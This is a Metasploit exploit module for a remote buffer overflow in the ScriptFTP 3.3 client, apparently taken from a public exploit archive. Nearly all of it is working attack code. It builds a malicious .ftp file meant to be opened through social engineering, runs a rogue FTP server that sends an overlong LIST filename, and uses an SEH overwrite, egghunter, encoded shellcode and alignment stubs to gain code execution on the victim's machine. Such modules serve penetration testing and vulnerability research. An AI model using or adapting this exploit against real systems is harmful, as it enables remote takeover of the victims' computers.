ScriptFTP 3.3 – LIST Remote Buffer Overflow (Metasploit) (2)
## # $Id: scriptftp_list.rb 13841 2011-10-09 05:36:42Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer include Msf::Exploit::FILEFORMAT include Msf::Exploit::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)', 'Description' => %q{ AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow vulnerability that is triggered when processing a sufficiently long filename during a FTP LIST command resulting in overwriting the exception handler. Social engineering of executing a specially crafted ftp file by double click will result in connecting to our malcious server and perform arbitrary code execution which allows the attacker to gain the same rights as the user running ScriptFTP. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13841 $", 'Author' => [ 'modpr0be', #Vulnerability discovery and original exploit 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module 'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module ], 'References' => [ #[ 'CVE', '?' ], #[ 'OSVDB', '?' ], [ 'URL', 'http://www.exploit-db.com/exploits/17876/' ], [ 'URL', 'http://www.kb.cert.org/vuls/id/440219' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'false', }, 'Payload' => { 'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EDI', # Egghunter jmp edi } }, 'Platform' => 'win', 'Targets' => [ # CALL DWORD PTR SS:[EBP-4] # scriptftp.exe - File version=Build 3/9/2009 [ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 12 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']), ], self.class) end def setup if datastore['SRVHOST'] == '0.0.0.0' lhost = Rex::Socket.source_address('50.50.50.50') else lhost = datastore['SRVHOST'] end ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n" ftp_file << "SETPASSIVE(ENABLED)\r\n" ftp_file << "GETLIST($list,REMOTE_FILES)\r\n" ftp_file << "CLOSEHOST\r\n" print_status("Creating '#{datastore['FILENAME']}'...") file_create(ftp_file) super end def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end def on_client_command_list(c,arg) conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") code = 150 c.put("#{code} Here comes the directory listing.\r\n") code = 226 c.put("#{code} Directory send ok.\r\n") eggoptions = { :checksum => false, :eggtag => 'cure' } hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) # Encode with alphamixed, then unicode mixed [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name| enc = framework.encoders.create(name) if name =~ /unicode/ # aligned to ESP & EAX enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' }) else enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' }) end # NOTE: we already eliminated badchars hunter = enc.encode(hunter, nil, nil, platform) if name =~/alpha/ #insert getpc_stub & align EDX, unicode encoder friendly. #Hardcoded stub is not an issue here because it gets encoded anyway getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35" hunter = getpc_stub + hunter end } unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL nseh = "\x61" << unicode_nop seh = target.ret alignment = "\x54" # PUSH ESP alignment << unicode_nop alignment << "\x58" # POP EAX alignment << unicode_nop alignment << "\x05\x12\x11" # ADD EAX,11001200 alignment << unicode_nop alignment << "\x2d\x01\x01" # SUB EAX,1000100 alignment << unicode_nop alignment << "\x2d\x01\x10" # SUB EAX,10000100 alignment << unicode_nop alignment << "\x50" # PUSH EAX alignment << unicode_nop alignment << "\xc3" # RETN buffer = rand_text_alpha(656) buffer << hunter buffer << rand_text_alpha(target['Offset']-buffer.length) buffer << nseh buffer << seh buffer << alignment buffer << rand_text_alpha(500) buffer << egg print_status(" - Sending directory list via data connection") dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n" dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n" dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n" conn.put(dirlist) conn.close return end end |